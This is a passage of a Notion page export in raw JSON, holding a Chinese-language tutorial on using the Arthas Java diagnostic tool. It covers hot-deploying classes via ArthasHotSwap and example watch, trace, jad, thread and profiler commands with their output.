d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"49660a6b-8b10-4449-a089-e36bd6de154f":{"value":{"id":"49660a6b-8b10-4449-a089-e36bd6de154f","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"4167aad0-7638-4d68-8664-3c483389677f":{"value":{"id":"4167aad0-7638-4d68-8664-3c483389677f","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900523641,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"75842799-a053-4659-ab50-17678231e4ff":{"value":{"id":"75842799-a053-4659-ab50-17678231e4ff","type":"callout","properties":{"title":[["Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523640,"last_edited_time":1710906535116,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"6216de61-29ce-4cc1-9319-ab02317fa14a":{"value":{"id":"6216de61-29ce-4cc1-9319-ab02317fa14a","type":"header","properties":{"title":[["基本配置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710901319587,"last_edited_time":1710901327584,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"2fc39b5e-add9-416d-81e6-0f08e1c4e7cd":{"value":{"id":"2fc39b5e-add9-416d-81e6-0f08e1c4e7cd","type":"bulleted_list","properties":{"title":[["官方文档:"],["https://arthas.gitee.io/doc/",[["a","https://arthas.gitee.io/doc/"]]]]},"created_time":1710901328051,"last_edited_time":1710901361598,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"ece49cba-6c96-4588-b464-5c0c71b286f3":{"value":{"id":"ece49cba-6c96-4588-b464-5c0c71b286f3","type":"bulleted_list","properties":{"title":[["下载arthas-boot.jar:"],["https://github.com/alibaba/arthas/releases",[["b"],["a","https://github.com/alibaba/arthas/releases"]]]]},"created_time":1710901368276,"last_edited_time":1710901392474,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"b3c41a84-43ee-4d6b-8bbd-091ff384fd59":{"value":{"id":"b3c41a84-43ee-4d6b-8bbd-091ff384fd59","type":"bulleted_list","properties":{"title":[["直接java -jar arthas-boot.jar即可开始使用"]]},"created_time":1710901393274,"last_edited_time":1710901419736,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"f4ac19d7-d241-4ba2-94cb-255c510c8bef":{"value":{"id":"f4ac19d7-d241-4ba2-94cb-255c510c8bef","type":"bulleted_list","properties":{"title":[["idea中安装两个插件:arthas idea & ArthasHotSwap"]]},"created_time":1710901591928,"last_edited_time":1710901637032,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"2a69447b-8578-439b-8fff-9f1bcd702af0":{"value":{"id":"2a69447b-8578-439b-8fff-9f1bcd702af0","type":"header","properties":{"title":[["热部署"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900685231,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"afd11af0-cd3a-42fb-9f6d-c63e50e0c935":{"value":{"id":"afd11af0-cd3a-42fb-9f6d-c63e50e0c935","type":"quote","properties":{"title":[["限制:无法修改类名、方法名,无法修改类属性名称,无法新增类属性,无法新增非静态方法"]]},"created_time":1710901704530,"last_edited_time":1710901710307,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"eb365015-594d-4556-b962-17bd7c09aca4":{"value":{"id":"eb365015-594d-4556-b962-17bd7c09aca4","type":"text","created_time":1710903024828,"last_edited_time":1710903024828,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"3aa2a959-6acc-470e-a328-06cfb782b7da":{"value":{"id":"3aa2a959-6acc-470e-a328-06cfb782b7da","type":"text","properties":{"title":[["我们修改以下代码"]]},"created_time":1710901720142,"last_edited_time":1710902750922,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"1abb1800-907c-407f-8c68-4870699ce5a3":{"value":{"id":"1abb1800-907c-407f-8c68-4870699ce5a3","type":"image","properties":{"size":[["112.1KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f585c4ed-7c6f-4998-966e-d0081d2b7d18/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f585c4ed-7c6f-4998-966e-d0081d2b7d18/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3236842105263158,"block_preserve_scale":true},"created_time":1710902710894,"last_edited_time":1710902717085,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["f585c4ed-7c6f-4998-966e-d0081d2b7d18"]}},"c810b651-629c-494d-951f-1c49c6d3e328":{"value":{"id":"c810b651-629c-494d-951f-1c49c6d3e328","type":"text","properties":{"title":[["然后comile一下"]]},"created_time":1710902715123,"last_edited_time":1710902760017,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"57d4ad7c-5cc1-404b-887f-864994a1e2c7":{"value":{"id":"57d4ad7c-5cc1-404b-887f-864994a1e2c7","type":"image","properties":{"size":[["241.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/da1b4a9f-75db-40db-bda2-9b953a26d36b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/da1b4a9f-75db-40db-bda2-9b953a26d36b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.23791348600508905,"block_preserve_scale":true},"created_time":1710902781652,"last_edited_time":1710902789774,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["da1b4a9f-75db-40db-bda2-9b953a26d36b"]}},"aa247981-241f-4ca5-b749-229ce2fcf44e":{"value":{"id":"aa247981-241f-4ca5-b749-229ce2fcf44e","type":"text","created_time":1710902785084,"last_edited_time":1710902785084,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff":{"value":{"id":"e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff","type":"text","properties":{"title":[["如果你远程服务器不止一个应用还需要指定一下jar包,这里java path也要是远程机器的真实地址"]]},"created_time":1710902785209,"last_edited_time":1710902920118,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"0bce87bd-e041-4e99-86df-656bc5692349":{"value":{"id":"0bce87bd-e041-4e99-86df-656bc5692349","type":"text","properties":{"title":[["他的原理是把你的class文件上传到oss,然后在服务器下载。如果怕代码泄漏,需要自己去oss买个bucket配置上传到自己的oss,这里不做详细说明"]]},"created_time":1710902928985,"last_edited_time":1710902996580,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"db0307cc-b039-40e6-a680-7bfc07afaa67":{"value":{"id":"db0307cc-b039-40e6-a680-7bfc07afaa67","type":"image","properties":{"size":[["130.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/77ab3448-b42c-448f-9616-75f9dd9f9d21/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/77ab3448-b42c-448f-9616-75f9dd9f9d21/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.38799283154121866,"block_preserve_scale":true},"created_time":1710902896442,"last_edited_time":1710902902168,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["77ab3448-b42c-448f-9616-75f9dd9f9d21"]}},"e9e6045c-97a6-4a9b-959f-f04f7019f248":{"value":{"id":"e9e6045c-97a6-4a9b-959f-f04f7019f248","type":"text","properties":{"title":[["然后在指定class右键执行工具"]]},"created_time":1710902926091,"last_edited_time":1710903105222,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"00bc6d41-7356-48b6-a443-e145bb33d169":{"value":{"id":"00bc6d41-7356-48b6-a443-e145bb33d169","type":"image","properties":{"size":[["139.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e9b7e84-080a-4392-9503-3a4345994ca0/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e9b7e84-080a-4392-9503-3a4345994ca0/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7539267015706806,"block_preserve_scale":true},"created_time":1710903105660,"last_edited_time":1710903112293,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["3e9b7e84-080a-4392-9503-3a4345994ca0"]}},"4fcb29e1-90ad-4736-b951-b048e8b490f4":{"value":{"id":"4fcb29e1-90ad-4736-b951-b048e8b490f4","type":"text","properties":{"title":[["去宿主机部署代码,当看到succss就是成功了"]]},"created_time":1710903112799,"last_edited_time":1710905984555,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"c045edef-158c-4c43-a867-45748cdf2ed0":{"value":{"id":"c045edef-158c-4c43-a867-45748cdf2ed0","type":"image","properties":{"size":[["97.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/99c8dc77-8162-433d-8315-b38539f96c28/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/99c8dc77-8162-433d-8315-b38539f96c28/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.8309070548712206,"block_preserve_scale":true},"created_time":1710905970875,"last_edited_time":1710906571504,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["99c8dc77-8162-433d-8315-b38539f96c28"]}},"3c034094-e024-42f9-818d-fd49579543ab":{"value":{"id":"3c034094-e024-42f9-818d-fd49579543ab","type":"text","created_time":1710901423956,"last_edited_time":1710906344576,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"3991bb35-efa4-4722-a269-9f80ad3e5a89":{"value":{"id":"3991bb35-efa4-4722-a269-9f80ad3e5a89","type":"header","properties":{"title":[["常用命令"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710901443441,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"46c4c01d-bf1b-4ce0-8eda-5c0639b8453f":{"value":{"id":"46c4c01d-bf1b-4ce0-8eda-5c0639b8453f","type":"image","properties":{"size":[["189.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a64a490d-b29d-4ba1-8be9-96d62264806d/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a64a490d-b29d-4ba1-8be9-96d62264806d/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6185567010309279,"block_preserve_scale":true},"created_time":1710906683245,"last_edited_time":1710906688096,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["a64a490d-b29d-4ba1-8be9-96d62264806d"]}},"91a2fac9-d67e-4eb6-8f80-ce12aa78557c":{"value":{"id":"91a2fac9-d67e-4eb6-8f80-ce12aa78557c","type":"sub_header","properties":{"title":[["watch"]]},"created_time":1710901434875,"last_edited_time":1710901445307,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"5e155fc2-041f-4ac4-9863-f257c6ae8d99":{"value":{"id":"5e155fc2-041f-4ac4-9863-f257c6ae8d99","type":"code","properties":{"title":[["#观察方法出入参+报错\nwatch com.xxx.AppUserController sendSms '{params,returnObj,throwExp}'  -n 5  -x 3\n\n#输出\nts=2024-03-20 11:53:00; [cost=0.021166ms] result=@ArrayList[\n    @Object[][\n        @String[312],\n        @Integer[213],\n    ],\n    @R[\n        serialVersionUID=@Long[1],\n        code=@Integer[0],\n        message=null,\n        data=null,\n        success=@Boolean[true],\n        timestamp=@Long[1710906780811],\n    ],\n    null,\n]\nmethod=com.x.AppUserController$$EnhancerBySpringCGLIB$$3b34f282.sendSms location=AtExit\nts=2024-03-20 11:53:00; [cost=2.907583ms] result=@ArrayList[\n    @Object[][\n        @String[312],\n        @Integer[213],\n    ],\n    @R[\n        serialVersionUID=@Long[1],\n        code=@Integer[0],\n        message=null,\n        data=null,\n        success=@Boolean[true],\n        timestamp=@Long[1710906780811],\n    ],\n    null,\n]\n "]],"language":[["Bash"]]},"created_time":1710906693642,"last_edited_time":1710906797252,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"a70ea93f-49bc-44eb-9af4-58311b9e22a0":{"value":{"id":"a70ea93f-49bc-44eb-9af4-58311b9e22a0","type":"sub_header","properties":{"title":[["trace"]]},"created_time":1710901445747,"last_edited_time":1710906821342,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"5b9a3023-17e9-4d71-9a01-b90ada81a321":{"value":{"id":"5b9a3023-17e9-4d71-9a01-b90ada81a321","type":"code","properties":{"title":[["#追踪搞方法调用\ntrace com.x.AppUserController sendSms  -n 5 --skipJDKMethod false \n\n#输出\nAffect(class count: 2 , method count: 2) cost in 150 ms, listenerId: 3\n`---ts=2024-03-20 11:54:11;thread_name=XNIO-1 task-1;id=106;is_daemon=false;priority=5;TCCL=sun.misc.Launcher$AppClassLoader@18b4aac2\n    `---[1.246583ms] com.x.AppUserController$$EnhancerBySpringCGLIB$$3b34f282:sendSms()\n        `---[95.80% 1.19425ms ] org.springframework.cglib.proxy.MethodInterceptor:intercept()\n            `---[3.87% 0.04625ms ] com.x.AppUserController:sendSms()\n                `---[32.70% 0.015125ms ] com.x.R:ok() #57"]],"language":[["Bash"]]},"created_time":1710906812040,"last_edited_time":1710906871141,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"309ea1f2-8e10-48f9-8990-6192b5ecf2dc":{"value":{"id":"309ea1f2-8e10-48f9-8990-6192b5ecf2dc","type":"sub_header","properties":{"title":[["jad"]]},"created_time":1710901448030,"last_edited_time":1710906897791,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"28f29155-ccfb-4e5c-a590-530707efde4e":{"value":{"id":"28f29155-ccfb-4e5c-a590-530707efde4e","type":"code","properties":{"title":[["#主要用于对比线上代码\njad com.x.AppUserController"]],"language":[["Bash"]]},"created_time":1710906887349,"last_edited_time":1710906920113,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"72c01b35-1a16-4630-8517-0ef7f56a4958":{"value":{"id":"72c01b35-1a16-4630-8517-0ef7f56a4958","type":"image","properties":{"size":[["84.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9abc042-0739-4a92-ba55-afaee3c4c751/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a9abc042-0739-4a92-ba55-afaee3c4c751/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45493562231759654,"block_preserve_scale":true},"created_time":1710906945009,"last_edited_time":1710906950491,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["a9abc042-0739-4a92-ba55-afaee3c4c751"]}},"39acdf62-e65e-4362-a2ff-92efffb2eea9":{"value":{"id":"39acdf62-e65e-4362-a2ff-92efffb2eea9","type":"sub_header","properties":{"title":[["thread"]]},"created_time":1710901450059,"last_edited_time":1710906987529,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"110b2916-df77-4445-a6f5-5a7f700f14e0":{"value":{"id":"110b2916-df77-4445-a6f5-5a7f700f14e0","type":"code","properties":{"title":[["#查询资源占用最高的线程\nthread -n 1\n\n#输出\n\"arthas-command-execute\" Id=131 cpuUsage=3.35% deltaTime=7ms time=739ms RUNNABLE\n    at sun.management.ThreadImpl.dumpThreads0(Native Method)\n    at sun.management.ThreadImpl.getThreadInfo(ThreadImpl.java:461)\n    at com.taobao.arthas.core.command.monitor200.ThreadCommand.processTopBusyThreads(ThreadCommand.java:206)\n    at com.taobao.arthas.core.command.monitor200.ThreadCommand.process(ThreadCommand.java:122)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl.process(AnnotatedCommandImpl.java:82)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl.access$100(AnnotatedCommandImpl.java:18)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl$ProcessHandler.handle(AnnotatedCommandImpl.java:111)\n    at com.taobao.arthas.core.shell.command.impl.AnnotatedCommandImpl$ProcessHandler.handle(AnnotatedCommandImpl.java:108)\n    at com.taobao.arthas.core.shell.system.impl.ProcessImpl$CommandProcessTask.run(ProcessImpl.java:385)\n    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)\n    at java.util.concurrent.FutureTask.run$$$capture(FutureTask.java:266)\n    at java.util.concurrent.FutureTask.run(FutureTask.java)\n    at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:180)\n    at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:293)\n    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)\n    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)\n    at java.lang.Thread.run(Thread.java:750)\n"]],"language":[["Bash"]]},"created_time":1710906965748,"last_edited_time":1710907009357,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97":{"value":{"id":"6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97","type":"sub_header","properties":{"title":[["profiler",[["b"],["b"]]],["\n"]]},"created_time":1710901458327,"last_edited_time":1710901579890,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"713edbb3-17cd-4bb8-91c5-4a500b3a8994":{"value":{"id":"713edbb3-17cd-4bb8-91c5-4a500b3a8994","type":"code","properties":{"title":[["#开始\nprofiler start\n\n#结束\nprofiler stop\n\n#profiler output file: 0320-115804.html\n#可以分析cpu占用情况"]],"language":[["Bash"]]},"created_time":1710907067208,"last_edited_time":1710907145599,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"23e941c9-ce06-4f1b-af06-6bccec2d3ea4":{"value":{"id":"23e941c9-ce06-4f1b-af06-6bccec2d3ea4","type":"image","properties":{"size":[["80.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/09a367be-1cfb-4d2f-9052-7e0f3016a150/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/09a367be-1cfb-4d2f-9052-7e0f3016a150/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.4722863741339492,"block_preserve_scale":true},"created_time":1710907126483,"last_edited_time":1710907132935,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["09a367be-1cfb-4d2f-9052-7e0f3016a150"]}},"bb1503ec-72a1-49b0-bfc0-5514d3749738":{"value":{"id":"bb1503ec-72a1-49b0-bfc0-5514d3749738","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900523641,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"5d496523-f3ac-4297-ab9d-49946de020e0":{"value":{"id":"5d496523-f3ac-4297-ab9d-49946de020e0","type":"bulleted_list","properties":{"title":[["arthas热部署很好用,注意限制"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710907028613,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"abe817d3-4a91-4f84-aed1-113eab9e33ea":{"value":{"id":"abe817d3-4a91-4f84-aed1-113eab9e33ea","type":"bulleted_list","properties":{"title":[["介绍了常见的几个cmd"]]},"created_time":1710907028924,"last_edited_time":1710907040685,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"b7688c06-839f-475f-99d8-092a08b7e21d":{"value":{"id":"b7688c06-839f-475f-99d8-092a08b7e21d","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05":{"value":{"id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","type":"column_list","content":["08b983f6-4c29-44d6-9bbc-d56cde7ee3df","f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","b05adf15-e470-40ac-b755-5f24225e2c1f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"08b983f6-4c29-44d6-9bbc-d56cde7ee3df":{"value":{"id":"08b983f6-4c29-44d6-9bbc-d56cde7ee3df","type":"column","content":["ee0f9627-898a-4467-a5a0-6620126e3153"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6":{"value":{"id":"f5b5d7fa-1ce3-4d6d-bcbb-1c8367f296c6","type":"column","content":["ed7bb86a-e468-4bbc-94c0-d66e88cabe84","a3483dad-5468-4b87-89eb-de9d4f7e17f9"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"b05adf15-e470-40ac-b755-5f24225e2c1f":{"value":{"id":"b05adf15-e470-40ac-b755-5f24225e2c1f","type":"column","content":["45f58361-42f3-4de5-ae99-a1174d6fdd08"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"ee0f9627-898a-4467-a5a0-6620126e3153":{"value":{"id":"ee0f9627-898a-4467-a5a0-6620126e3153","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710900523643,"last_edited_time":1710900523643,"parent_id":"08b983f6-4c29-44d6-9bbc-d56cde7ee3df","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"ed7bb86a-e468-4bbc-94c0-d66e88cabe84":{"value":{"id":"ed7bb86a-e468-4bbc-94c0-d66e88cabe84","type":"text","properties":{"title":[["\n",[["i"]]],["        是在往前走就好",[["i"],["b"]]],["\n        